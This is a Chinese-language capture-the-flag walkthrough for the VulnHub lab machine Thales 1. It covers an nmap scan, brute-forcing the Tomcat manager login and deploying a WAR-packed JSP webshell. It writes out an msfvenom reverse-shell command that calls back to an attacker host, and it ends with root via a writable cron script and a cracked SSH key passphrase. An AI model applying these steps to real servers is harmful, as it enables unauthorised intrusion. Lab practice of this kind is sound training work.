Thales 1靶机wp
靶机信息
请参考 vulnhub 官网 Thales 1 题目详情
目标是获取两个 flag: user.txt ,root.txt.
端口扫描
扫描 TCP 端口,发现开放 22,8080 端口
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS 192.168.1.6 -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 08:00 EDT
Nmap scan report for 192.168.1.6
Host is up (0.00036s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.52
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.60 seconds
端口分析
22端口分析
通过查找POC或者exp,SSH版本存在用户枚举漏洞,但是靶机禁止SSH登录,通过爆破SSH用户密码的方式行不通
8080端口分析
通过扫描知道,8080端口是 apache tomcat端口,进一步目录扫描,发现都是tomcat的一些目录目录,尝试访问 http://target:8080/manager/html 发现有访问控制
使用msfconsole爆破密码,爆破得到 http://target:8080/manager/html 的登录用户及密码是 tomcat/role1
上传后门
使用 msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=2233 -f elf > reverseshell 生产反向 shell 可执行文件
通过 tomcat:role1 用户密码登录 http://target:8080/manager/html 上传后门, 将 webshell.jsp,reverseshell 文件先打包成 zip 文件,如 backdoor.zip,将 backdoor.zip 重命名为 backdoor.war 并上传,然后点击部署,部署成功后,可以通过 http://target:8080/backdoor/webshell.jsp 访问自己上传的后门文件,通过 webshell 执行 reverseshell

获取flag
解法1:
通过 webshell.jsp 执行 revershell 反向 shell 后门,通过 find 命令可以知道 user.txt 文件位于 /home/thales 目录下,
tomcat 用户无权限查看 user.txt, 查看 notes.txt 可以看到提示
/usr/local/bin/backup.sh 为定时任务脚本,同时该脚本可读可写,写入任意命令获取到 root 权限
解法2:
查看 .ssh 目录发现有私钥,通过爆破私钥加密密码,通过密钥登录可以获取 thales 权限的 shell,注:这里作者将 ssh 私钥的加密口令和登录口令设置成一样了
使用 kali 的
爆破获取到口令为 vodka06,靶机上 tomcat 权限的 shell 执行 su thales 命令再输入口令即可获取 thales 权限的 shell
最后更新于